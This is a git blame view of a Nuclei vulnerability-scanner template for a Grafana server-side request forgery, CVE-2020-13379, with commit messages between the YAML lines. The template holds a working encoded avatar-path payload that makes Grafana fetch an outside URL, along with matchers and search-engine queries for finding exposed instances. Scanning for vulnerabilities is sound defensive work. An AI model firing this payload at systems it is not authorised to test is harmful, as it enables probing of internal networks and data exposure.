daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/http/cves/2020/CVE-2020-13379.yaml

61 lines
2.4 KiB
YAML
Raw Normal View History

Add check for CVE-2020-13379: Grafana 3.0.1 <= 7.0.1 Server Side Request Forgery. Unfortunately, interactsh cannot be used here because Grafana has a low timeout for connecting to other services. Thus, we use the low-latency website https://1.1.1.1/, which Cloudflare provides for advertising its DNS service. It should be low enough latency that it is a good indicator of a vulnerability.
2022-12-08 00:39:09 +00:00
id: CVE-2020-13379
info:
Enhancement: cves/2020/CVE-2020-13379.yaml by md
2023-04-12 18:18:06 +00:00
name: Grafana 3.0.1-7.0.1 - Server-Side Request Forgery
Add check for CVE-2020-13379: Grafana 3.0.1 <= 7.0.1 Server Side Request Forgery. Unfortunately, interactsh cannot be used here because Grafana has a low timeout for connecting to other services. Thus, we use the low-latency website https://1.1.1.1/, which Cloudflare provides for advertising its DNS service. It should be low enough latency that it is a good indicator of a vulnerability.
2022-12-08 00:39:09 +00:00
author: Joshua Rogers
severity: high
Update CVE-2020-13379.yaml
2022-12-08 05:36:13 +00:00
description: |
Enhancement: cves/2020/CVE-2020-13379.yaml by md
2023-04-12 18:18:06 +00:00
Grafana 3.0.1 through 7.0.1 is susceptible to server-side request forgery via the avatar feature, which can lead to remote code execution. Any unauthenticated user/client can make Grafana send HTTP requests to any URL and return its result. This can be used to gain information about the network Grafana is running on, thereby potentially enabling an attacker to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
Added Impact
2023-09-27 15:51:13 +00:00
impact: |
An attacker can exploit this vulnerability to bypass security controls, access internal resources, and potentially perform further attacks.
updated 2020 CVEs
2023-09-06 12:22:36 +00:00
remediation: Upgrade to 6.3.4 or higher.
Add check for CVE-2020-13379: Grafana 3.0.1 <= 7.0.1 Server Side Request Forgery. Unfortunately, interactsh cannot be used here because Grafana has a low timeout for connecting to other services. Thus, we use the low-latency website https://1.1.1.1/, which Cloudflare provides for advertising its DNS service. It should be low enough latency that it is a good indicator of a vulnerability.
2022-12-08 00:39:09 +00:00
reference:
- https://github.com/advisories/GHSA-wc9w-wvq2-ffm9
- https://github.com/grafana/grafana/commit/ba953be95f0302c2ea80d23f1e5f2c1847365192
Auto Generated CVE annotations [Mon Apr 3 09:07:37 UTC 2023] :robot:
2023-04-03 09:07:37 +00:00
- http://www.openwall.com/lists/oss-security/2020/06/03/4
Enhancement: cves/2020/CVE-2020-13379.yaml by md
2023-04-12 18:18:06 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-13379
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
- http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00060.html
Add check for CVE-2020-13379: Grafana 3.0.1 <= 7.0.1 Server Side Request Forgery. Unfortunately, interactsh cannot be used here because Grafana has a low timeout for connecting to other services. Thus, we use the low-latency website https://1.1.1.1/, which Cloudflare provides for advertising its DNS service. It should be low enough latency that it is a good indicator of a vulnerability.
2022-12-08 00:39:09 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
cvss-score: 8.2
cve-id: CVE-2020-13379
cwe-id: CWE-918
product/queries updated
2024-05-31 19:23:20 +00:00
epss-score: 0.71681
epss-percentile: 0.98063
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
Add check for CVE-2020-13379: Grafana 3.0.1 <= 7.0.1 Server Side Request Forgery. Unfortunately, interactsh cannot be used here because Grafana has a low timeout for connecting to other services. Thus, we use the low-latency website https://1.1.1.1/, which Cloudflare provides for advertising its DNS service. It should be low enough latency that it is a good indicator of a vulnerability.
2022-12-08 00:39:09 +00:00
metadata:
updated 2020 CVEs
2023-09-06 12:22:36 +00:00
verified: true
TemplateMan Update [Fri Sep 1 02:54:41 UTC 2023] :robot:
2023-09-01 02:54:41 +00:00
max-request: 2
updated 2020 CVEs
2023-09-06 12:22:36 +00:00
vendor: grafana
TemplateMan Update [Fri Sep 1 02:54:41 UTC 2023] :robot:
2023-09-01 02:54:41 +00:00
product: grafana
Add check for CVE-2020-13379: Grafana 3.0.1 <= 7.0.1 Server Side Request Forgery. Unfortunately, interactsh cannot be used here because Grafana has a low timeout for connecting to other services. Thus, we use the low-latency website https://1.1.1.1/, which Cloudflare provides for advertising its DNS service. It should be low enough latency that it is a good indicator of a vulnerability.
2022-12-08 00:39:09 +00:00
shodan-query: title:"Grafana"
product/queries updated
2024-05-31 19:23:20 +00:00
fofa-query: title="grafana"
google-query: intitle:"grafana"
auto tagging via templateman
2024-01-14 09:21:50 +00:00
tags: cve2020,cve,grafana,ssrf
Add check for CVE-2020-13379: Grafana 3.0.1 <= 7.0.1 Server Side Request Forgery. Unfortunately, interactsh cannot be used here because Grafana has a low timeout for connecting to other services. Thus, we use the low-latency website https://1.1.1.1/, which Cloudflare provides for advertising its DNS service. It should be low enough latency that it is a good indicator of a vulnerability.
2022-12-08 00:39:09 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com>
2023-04-27 04:28:59 +00:00
http:
Add check for CVE-2020-13379: Grafana 3.0.1 <= 7.0.1 Server Side Request Forgery. Unfortunately, interactsh cannot be used here because Grafana has a low timeout for connecting to other services. Thus, we use the low-latency website https://1.1.1.1/, which Cloudflare provides for advertising its DNS service. It should be low enough latency that it is a good indicator of a vulnerability.
2022-12-08 00:39:09 +00:00
- method: GET
path:
- "{{BaseURL}}/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1"
Adding one more path in CVE-2020-13379.yaml
2023-08-31 17:38:16 +00:00
- "{{BaseURL}}/grafana/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1"
Add check for CVE-2020-13379: Grafana 3.0.1 <= 7.0.1 Server Side Request Forgery. Unfortunately, interactsh cannot be used here because Grafana has a low timeout for connecting to other services. Thus, we use the low-latency website https://1.1.1.1/, which Cloudflare provides for advertising its DNS service. It should be low enough latency that it is a good indicator of a vulnerability.
2022-12-08 00:39:09 +00:00
Adding one more path in CVE-2020-13379.yaml
2023-08-31 17:38:16 +00:00
stop-at-first-match: true
updated 2020 CVEs
2023-09-06 12:22:36 +00:00
Add check for CVE-2020-13379: Grafana 3.0.1 <= 7.0.1 Server Side Request Forgery. Unfortunately, interactsh cannot be used here because Grafana has a low timeout for connecting to other services. Thus, we use the low-latency website https://1.1.1.1/, which Cloudflare provides for advertising its DNS service. It should be low enough latency that it is a good indicator of a vulnerability.
2022-12-08 00:39:09 +00:00
matchers-condition: and
matchers:
- type: word
Update CVE-2020-13379.yaml
2022-12-08 05:29:30 +00:00
part: body
Add check for CVE-2020-13379: Grafana 3.0.1 <= 7.0.1 Server Side Request Forgery. Unfortunately, interactsh cannot be used here because Grafana has a low timeout for connecting to other services. Thus, we use the low-latency website https://1.1.1.1/, which Cloudflare provides for advertising its DNS service. It should be low enough latency that it is a good indicator of a vulnerability.
2022-12-08 00:39:09 +00:00
words:
- "cloudflare.com"
- "dns"
condition: and
Update CVE-2020-13379.yaml
2022-12-08 05:29:30 +00:00
- type: word
part: header
words:
- "image/jpeg"
- type: status
status:
Enhancement: cves/2020/CVE-2020-13379.yaml by md
2023-04-12 18:18:06 +00:00
- 200
Auto Template Signing [Tue Jan 30 06:46:18 UTC 2024] :robot:
2024-01-30 06:46:18 +00:00
# digest: 4a0a0047304502205b9bd2aa77748627d7df56b1f9ddb380e47285274318cb1a472d118ac7ea5dab022100e2b67b3e80048d92b7de1e74b9a632e18562312f42d046e47dde1538b01001e1:922c64590222798bb761d5b6d8e72950